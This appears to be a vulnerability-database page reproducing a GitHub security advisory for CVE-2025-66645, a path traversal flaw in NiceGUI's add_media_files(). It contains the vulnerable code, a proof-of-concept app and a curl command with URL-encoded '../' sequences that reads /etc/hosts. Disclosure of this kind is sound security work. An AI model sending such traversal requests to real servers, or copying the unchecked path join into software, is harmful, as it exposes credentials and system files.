GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-HXP3-63HC-5366

Vulnerability from github – Published: 2025-12-09 14:25 – Updated: 2026-01-08 20:44
VLAI
Summary
NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read
Details

Summary

A directory traversal vulnerability in NiceGUI's App.add_media_files() allows a remote attacker to read arbitrary files on the server filesystem.

Details

Hello, I am Seungbin Yang, a university student studying cybersecurity. While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.

The App.add_media_files(url_path, local_directory) method allows users to serve media files. However, the implementation lacks proper path validation.

def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:
    @self.get(url_path.rstrip('/') + '/{filename:path}')
    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:
        filepath = Path(local_directory) / filename
        if not filepath.is_file():
            raise HTTPException(status_code=404, detail='Not Found')
        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)

Root Cause: 1. The {filename:path} parameter accepts full paths, including traversal sequences like ../. 2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory. 3. There is no path sanitization or boundary check.

Consequence: An attacker can use .. to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.

POC

  1. Create poc.py:
# poc.py
from pathlib import Path
from nicegui import app, ui

MEDIA_DIR = Path(__file__).parent / 'media'
MEDIA_DIR.mkdir(exist_ok=True)

# Expose local "media" directory at /media
app.add_media_files('/media', MEDIA_DIR)

@ui.page('/')
def index():
    ui.label('NiceGUI media PoC')

ui.run(port=8080, reload=False)
  1. Run the application: python3 poc.py

  2. Exploit with curl: Use URL-encoded dots (%2e) to bypass client-side checks. curl -v "http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts"

Result:

The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.

I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.

POC screenshot

Impact

Any NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:

•Application source code and configuration files •Credentials, API keys, and secrets •Operating system configuration files (e.g., /etc/passwd, /etc/hosts)

This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.

Thank you.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nicegui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-09T14:25:15Z",
    "nvd_published_at": "2025-12-09T22:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA directory traversal vulnerability in NiceGUI\u0027s `App.add_media_files()` allows a remote attacker to read arbitrary files on the server filesystem.\n\n### Details\n\nHello, I am Seungbin Yang, a university student studying cybersecurity. \nWhile reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.\n\nThe `App.add_media_files(url_path, local_directory)` method allows users to serve media files. However, the implementation lacks proper path validation.\n\n```python\ndef add_media_files(self, url_path: str, local_directory: Union[str, Path]) -\u003e None:\n    @self.get(url_path.rstrip(\u0027/\u0027) + \u0027/{filename:path}\u0027)\n    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -\u003e Response:\n        filepath = Path(local_directory) / filename\n        if not filepath.is_file():\n            raise HTTPException(status_code=404, detail=\u0027Not Found\u0027)\n        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)\n```\nRoot Cause:\n1. The `{filename:path}` parameter accepts full paths, including traversal sequences like `../`.\n2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory.\n3. There is no path sanitization or boundary check.\n\nConsequence:\nAn attacker can use `..` to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.\n\n### POC\n1. Create `poc.py`:\n```python\n# poc.py\nfrom pathlib import Path\nfrom nicegui import app, ui\n\nMEDIA_DIR = Path(__file__).parent / \u0027media\u0027\nMEDIA_DIR.mkdir(exist_ok=True)\n\n# Expose local \"media\" directory at /media\napp.add_media_files(\u0027/media\u0027, MEDIA_DIR)\n\n@ui.page(\u0027/\u0027)\ndef index():\n    ui.label(\u0027NiceGUI media PoC\u0027)\n\nui.run(port=8080, reload=False)\n```\n\n2. Run the application: `python3 poc.py`\n\n3. Exploit with curl: Use URL-encoded dots (`%2e`) to bypass client-side checks.\n```curl -v \"http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts\"```\n\n\n### Result:\nThe HTTP status is 200 OK, and the response body contains the contents of the server\u2019s /etc/hosts file.\n\nI have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.\n\n\u003cimg width=\"1728\" height=\"1078\" alt=\"POC screenshot\" src=\"https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775\" /\u003e\n\n### Impact\n\nAny NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:\n\n\u2022Application source code and configuration files\n\u2022Credentials, API keys, and secrets\n\u2022Operating system configuration files (e.g., /etc/passwd, /etc/hosts)\n\nThis is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.\n\nThank you.",
  "id": "GHSA-hxp3-63hc-5366",
  "modified": "2026-01-08T20:44:47Z",
  "published": "2025-12-09T14:25:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66645"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zauberzeug/nicegui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…